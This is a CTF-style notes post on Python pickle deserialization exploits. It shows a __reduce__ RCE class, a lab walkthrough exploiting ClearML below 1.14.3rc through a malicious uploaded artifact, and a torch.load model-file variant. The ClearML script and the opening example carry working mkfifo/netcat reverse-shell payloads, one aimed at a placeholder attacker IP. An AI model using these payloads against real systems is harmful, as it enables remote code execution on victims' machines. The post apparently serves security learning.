CTF Notes: 2024-06-08 Pickle exploits and applications
Pickle exploit
According to the official doc: “The pickle module is not secure. Only unpickle data you trust. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never unpickle data that could have come from an untrusted source, or that could have been tampered with.” https://docs.python.org/3/library/pickle.html
What’s the danger of unpickling something that’s not trusted? Below is an example:
import os
class RCE:
def __reduce__(self):
cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f')
return os.system, (cmd,)
Whenever an object is pickled, the __reduce__
method defined by it gets called. This method returns either a string, which may represent the name of a Python global, or a tuple describing how to reconstruct this object when unpickling. This can be used to achieve arbitrary code execution in many circumstances.
ClearML
With the AI topic being popular at the moment, there are many tools used to enhance the machine learning process, ClearML is one example: ClearML is an open source platform that automates and simplifies developing and managing machine learning solutions.
However, there is a serious RCE vulnerability for ClearML < 1.14.3rc that affected versions of this package are vulnerable to Deserialization of Untrusted Data. An attacker can execute arbitrary code on an end user’s system by uploading a malicious pickle file as an artifact that triggers the deserialization flaw when a user calls the get method within the Artifact class to download and load a file into memory.
To setup the lab, you will need a ClearML running a vulnerable version and an agent configured.
- Start by creating a project and following the setup steps and create a credential like below:
api {
web_server: http://url1
api_server: http://url2
files_server: http://url3
credentials {
"access_key" = "....."
"secret_key" = "....."
}
}
- On your attacker box, install clearml sdk by:
pip install clearml
and init the environment - It will require you to paste the credentials created from before
> clearml-init
ClearML SDK setup process
Please create new clearml credentials through the settings page in your `clearml-server` web app (e.g. http://localhost:8080//settings/workspace-configuration)
Or create a free account at https://app.clear.ml/settings/workspace-configuration
In settings page, press "Create new credentials", then press "Copy to clipboard".
Paste copied configuration here:
api {
web_server: http://url1
api_server: http://url2
files_server: http://url3
credentials {
"access_key" = "....."
"secret_key" = "....."
}
}
Detected credentials key="..." secret="..."
ClearML Hosts configuration:
Web App: http://url1
API: http://url2
File Store: http://url3
Verifying credentials ...
Credentials verified!
New configuration stored in /root/clearml.conf
ClearML setup completed successfully.
- Then, you can use a script that looks like below to achieve RCE
import os
from clearml import Task
task = Task.init(project_name='test', task_name='test', tags=["tags"], task_type=Task.TaskTypes.data_processing)
class Pickle:
def __reduce__(self):
cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attack-ip 4444 >/tmp/f"
return os.system, (cmd,)
task.upload_artifact(name='test', artifact_object=Pickle())
task.execute_remotely(queue_name='default')
torch
A similar application of pickle can be found in torch, which is a python package used for:
- Tensor computation (like NumPy) with strong GPU acceleration
- Deep neural networks built on a tape-based autograd system
Torch has a torch.load
function that uses unpickle in an unsafe way: https://github.com/pytorch/pytorch/issues/52596
So, a torch model can be used to achieve arbitrary code execution in a similar manner like below:
import torch
import torch.nn as nn
import os
class Model(nn.Module):
def __init__(self):
super(Model, self).__init__()
def __reduce__(self):
cmd = "RCE payload"
return os.system, (cmd,)
model = Model()
torch.save(model, 'test.pth')
The model test.pth
, once loaded by a script, will execute the code defined in the __reduce__
method.